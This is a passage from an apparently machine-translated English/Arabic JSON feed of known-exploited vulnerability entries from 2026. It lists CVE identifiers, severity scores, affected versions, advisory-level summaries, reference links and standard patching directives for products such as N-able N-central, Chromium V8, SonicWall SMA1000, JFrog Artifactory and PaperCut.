BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"adobe-commerce-and-magento"},{"id":"CVE-2026-86218","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-96","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-08T00:00:00Z","product":"N-able N-central","affected":[["0 – <2026.3.1.14","2026.3.1.14"]],"title":{"en":"N-able N-central Static Code Injection Vulnerability","ar":"ثغرة حقن الشيفرات الثابتة في N-able N-central"},"summary":{"en":"N-able N-central contains a static code injection vulnerability that could allow for pre-authentication remote code execution.","ar":"يحتوي منتج N-able N-central على ثغرة حقن شيفرات ثابتة قد تسمح بتنفيذ أوامر عن بُعد قبل المصادقة."},"refs":[["https://status.n-able.com/2026/09/06/n-central-2026-3-hotfix-4-cve-2026-86218/","advisory"],["https://me.n-able.com/s/security-advisory/aArVy0000002Ld3KAE/cve202686218-preauthentication-remote-code-execution","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-86218","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-86218","ref"]],"epss":0.1539,"kevAdded":"2026-09-08T00:00:00Z","kevDue":"2026-09-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"n-able-n-central"},{"id":"CVE-2026-85046","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-04T00:00:00Z","product":"Google Chromium V8","affected":[["152.0.7977.82 – <152.0.7977.82","152.0.7977.82"]],"title":{"en":"Google Chromium V8 Type Confusion Vulnerability","ar":"ثغرة خلط الأنواع في Google Chromium V8"},"summary":{"en":"Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","ar":"يحتوي Google Chromium V8 على ثغرة خلط أنواع تسمح لمهاجم عن بُعد تنفيذ شيفرة عشوائية داخل الحماية عبر صفحة HTML مصممة خصيصاً. قد تؤثر هذه الثغرة على متصفحات الويب المتعددة التي تستخدم Chromium، بما في ذلك على سبيل المثال لا الحصر Google Chrome وMicrosoft Edge وOpera."},"refs":[["https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_01882797386.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-85046","advisory"],["https://issues.chromium.org/issues/542403045","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85046","ref"],["https://serotav.github.io/Writeups/v8/when-sorting-leads-to-confusion/","ref"],["https://github.com/v8/v8/commit/e0562d87ad9c17042b581582c99237d798572e67","ref"],["https://github.com/Serotav/Writeups/blob/77556c57999805fa7815a114da51d91cf24fbea9/v8/When_Sorting_Leads_To_Confusion.md","ref"],["https://news.ycombinator.com/item?id=49570669","ref"]],"epss":0.0181,"kevAdded":"2026-09-04T00:00:00Z","kevDue":"2026-09-18T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"google-chromium"},{"id":"CVE-2026-83549","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-02T00:00:00Z","product":"SonicWall SMA1000 Appliances","affected":[],"title":{"en":"SonicWall SMA1000 Appliances OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في أجهزة SonicWall SMA1000"},"summary":{"en":"SonicWall SMA1000 Appliances contains an OS command injection vulnerability that could enable a remote authenticated attacker as administrator to execute arbitrary OS commands, resulting in remote code execution.","ar":"تحتوي أجهزة SonicWall SMA1000 على ثغرة حقن أوامر نظام التشغيل والتي قد تمكن مهاجمًا عن بُعد يملك حسابًا مصادقًا عليه بصلاحيات مدير من تنفيذ أوامر نظام تشغيل عشوائية، مما يؤدي إلى تنفيذ أوامر عن بُعد."},"refs":[["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0016","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-83549","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-83549","ref"]],"epss":0.0989,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"sonicwall-sma1000-appliances"},{"id":"CVE-2026-83548","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-918","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-02T00:00:00Z","product":"SonicWall SMA1000 Appliances","affected":[],"title":{"en":"SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability","ar":"ثغرة تزوير الطلبات من جهة الخادم في أجهزة SonicWall SMA1000"},"summary":{"en":"SonicWall SMA1000 Appliances contains a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to gain unauthorized access to sensitive functionality and perform unauthorized operations.","ar":"تحتوي أجهزة SonicWall SMA1000 على ثغرة تزوير الطلبات من جهة الخادم والتي قد تسمح لمهاجم عن بُعد دون مصادقة بالحصول على وصول غير مصرح به إلى وظائف حساسة وتنفيذ عمليات غير مصرح بها."},"refs":[["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0016","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-83548","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-83548","ref"]],"epss":0.0804,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"sonicwall-sma1000-appliances"},{"id":"CVE-2026-82329","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-02T00:00:00Z","product":"JFrog Artifactory","affected":[["0 – <7.111.21","7.111.21"],["7.117.0 – <7.117.28","7.117.28"],["7.125.0 – <7.125.20","7.125.20"],["7.133.0 – <7.133.29","7.133.29"],["7.146.0 – <7.146.38","7.146.38"],["7.161.0 – <7.161.20","7.161.20"]],"title":{"en":"JFrog Artifactory Improper Authentication Vulnerability","ar":"ثغرة مصادقة غير معتمدة في JFrog Artifactory"},"summary":{"en":"JFrog Artifactory contains an improper authentication vulnerability that under default configuration can allow an unauthenticated attacker with network access to obtain administrative privileges.","ar":"يحتوي JFrog Artifactory على ثغرة مصادقة غير معتمدة والتي يمكن أن تسمح في التكوين الافتراضي لمهاجم دون مصادقة ولديه إمكانية الوصول إلى الشبكة بالحصول على صلاحيات إدارية."},"refs":[["https://docs.jfrog.com/releases/docs/jfrog-security-advisories","advisory"],["https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-82329","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-82329","ref"]],"epss":0.1437,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"jfrog-artifactory"},{"id":"CVE-2026-9586","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-89","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-02T00:00:00Z","product":"Sangoma Switchvox","affected":[[" – <8.4.0.2","8.4.0.2"]],"title":{"en":"Sangoma Switchvox SQL Injection Vulnerability","ar":"ثغرة حقن SQL في منتج Sangoma Switchvox"},"summary":{"en":"Sangoma Switchvox contains a SQL injection vulnerability which allows an unauthenticated remote attacker to execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.","ar":"يحتوي منتج Sangoma Switchvox على ثغرة حقن SQL تسمح لمهاجم عن بُعد دون مصادقة بتنفيذ عبارات SQL عشوائية ضد قاعدة بيانات PostgreSQL الخلفية باستخدام طلب واحد مُصمم خصيصاً، بما في ذلك عمليات قاعدة البيانات وتنفيذ أوامر عن بُعد."},"refs":[["https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/1802371073/Switchvox+-+Release+Notes+Version+8.4.0.2+July+14+2026","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-9586","advisory"],["https://labs.sra.io/posts/switchvox/","advisory"],["https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/#","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9586","ref"]],"epss":0.1898,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"sangoma-switchvox"},{"id":"CVE-2026-59822","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-02T00:00:00Z","product":"BerriAI LiteLLM","affected":[],"title":{"en":"BerriAI LiteLLM Improper Authentication Vulnerability","ar":"ثغرة مصادقة غير سليمة في منتج BerriAI LiteLLM"},"summary":{"en":"BerriAI LiteLLM contains an improper authentication vulnerability in the MCP Streamable HTTP endpoint that could allow an unauthenticated attacker to establish an authenticated MCP session using an arbitrary Bearer token.","ar":"يحتوي منتج BerriAI LiteLLM على ثغرة مصادقة غير سليمة في نقطة نهاية MCP Streamable HTTP والتي قد تسمح لمهاجم دون مصادقة بإنشاء جلسة MCP مصادق عليها باستخدام رمز Bearer عشوائي."},"refs":[["https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-59822","advisory"],["https://www.wiz.io/blog/ai-infrastructure-honeypot","advisory"],["https://github.com/BerriAI/litellm/pull/26463","ref"],["https://github.com/BerriAI/litellm/commit/73869f0faf7d11ee21adcb5f91b8c33a340b6c2c","ref"],["https://github.com/BerriAI/litellm/releases/tag/v1.84.0","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-59822","ref"]],"epss":0.0084,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-16T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"berriai-litellm"},{"id":"CVE-2026-49869","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-02T00:00:00Z","product":"Kestra Kestra OSS","affected":[],"title":{"en":"Kestra OSS OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في منتج Kestra OSS"},"summary":{"en":"Kestra OSS contains an OS command injection vulnerability that could allow an unauthenticated remote attacker to create and execute arbitrary workflows without credentials.","ar":"يحتوي منتج Kestra OSS على ثغرة حقن أوامر نظام التشغيل التي قد تسمح لمهاجم عن بُعد دون مصادقة بإنشاء وتنفيذ سير عمل عشوائي دون بيانات اعتماد."},"refs":[["https://github.com/kestra-io/kestra/security/advisories/GHSA-5vc5-wxxq-3fjx","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-49869","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-49869","ref"]],"epss":0.021,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"kestra-oss"},{"id":"CVE-2026-48710","cvss":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cwe":"CWE-444","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-02T00:00:00Z","product":"Kludex Starlette","affected":[],"title":{"en":"Kludex Starlette HTTP Request/Response Smuggling Vulnerability","ar":"ثغرة تهريب طلبات/استجابات HTTP في منتج Kludex Starlette"},"summary":{"en":"Kludex Starlette contains a HTTP request/response smuggling vulnerability that could allow attackers to inject paths into the host part, prepending the actual path leading to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. This vulnerability could be chaned with CVE-2026-42271.","ar":"يحتوي منتج Kludex Starlette على ثغرة تهريب طلبات/استجابات HTTP والتي قد تسمح للمهاجمين بحقن المسارات في جزء المضيف، مما يؤدي إلى إلحاق المسار الفعلي بمشاكل مثل تجاوز المصادقة عندما تعتمد المصادقة على مسار عنوان URL المعاد بناؤه. يمكن ربط هذه الثغرة بـ CVE-2026-42271."},"refs":[["https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48710","advisory"],["https://www.wiz.io/blog/ai-infrastructure-honeypot","advisory"],["https://access.redhat.com/errata/RHSA-2026:30089","advisory"],["https://access.redhat.com/errata/RHSA-2026:30088","advisory"],["https://access.redhat.com/errata/RHSA-2026:24866","advisory"],["https://access.redhat.com/errata/RHSA-2026:23346","advisory"],["https://access.redhat.com/errata/RHSA-2026:43038","advisory"],["https://access.redhat.com/errata/RHSA-2026:37275","advisory"],["https://access.redhat.com/errata/RHSA-2026:60520","advisory"]],"epss":0.7029,"kevAdded":"2026-09-02T00:00:00Z","kevDue":"2026-09-16T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"kludex-starlette"},{"id":"CVE-2026-82078","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-470","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-31T00:00:00Z","product":"PaperCut NG/MF","affected":[["0 – <24.1.10","24.1.10"],["25.0.0 – <25.0.13","25.0.13"],["26.0.0 – <26.0.5","26.0.5"]],"title":{"en":"PaperCut NG/MF Unsafe Reflection Vulnerability","ar":"ثغرة انعكاس غير آمنة في PaperCut NG/MF"},"summary":{"en":"PaperCut NG/MF contains an unsafe reflection vulnerability that allows an attacker to manipulate system configuration parameters and execute arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process. This vulnerability can be chained with CVE-2026-81578.","ar":"يحتوي PaperCut NG/MF على ثغرة انعكاس غير آمنة تسمح للمهاجم بالتلاعب بمعلمات تكوين النظام وتنفيذ بايت كود Java عشوائي موجود على مسار فئات التطبيق ضمن سياق الأمان لعملية خادم PaperCut. يمكن ربط هذه الثغرة مع CVE-2026-81578."},"refs":[["https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/?lid=2oneu2wt0ct4","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-82078","advisory"],["https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/","ref"],["https://github.com/rapid7/metasploit-framework/pull/21842","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-82078","ref"]],"epss":0.6305,"kevAdded":"2026-08-31T00:00:00Z","kevDue":"2026-09-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"papercut-ng-mf"},{"id":"CVE-2026-81578","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-305","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-31T00:00:00Z","product":"PaperCut NG/MF","affected":[["0 – <24.1.10","24.1.10"],["25.0.0 – <25.0.13","25.0.13"],["26.0.0 – <26.0.5","26.0.5"]],"title":{"en":"PaperCut NG/MF Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة لوظيفة حرجة في PaperCut NG/MF"},"summary":{"en":"PaperCut NG/MF contains a missing authentication for critical function vulnerability which allows an unauthenticated remote attacker to modify certain system configurations. This vulnerability can be chained with CVE-2026-82078.","ar":"يحتوي PaperCut NG/MF على ثغرة غياب المصادقة لوظيفة حرجة والتي تسمح لمهاجم عن بُعد دون مصادقة بتعديل تكوينات معينة للنظام. يمكن ربط هذه الثغرة مع CVE-2026-82078."},"refs":[["https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-81578","advisory"],["https://github.com/rapid7/metasploit-framework/pull/21842","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-81578","ref"]],"epss":0.8473,"kevAdded":"2026-08-31T00:00:00Z","kevDue":"2026-09-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 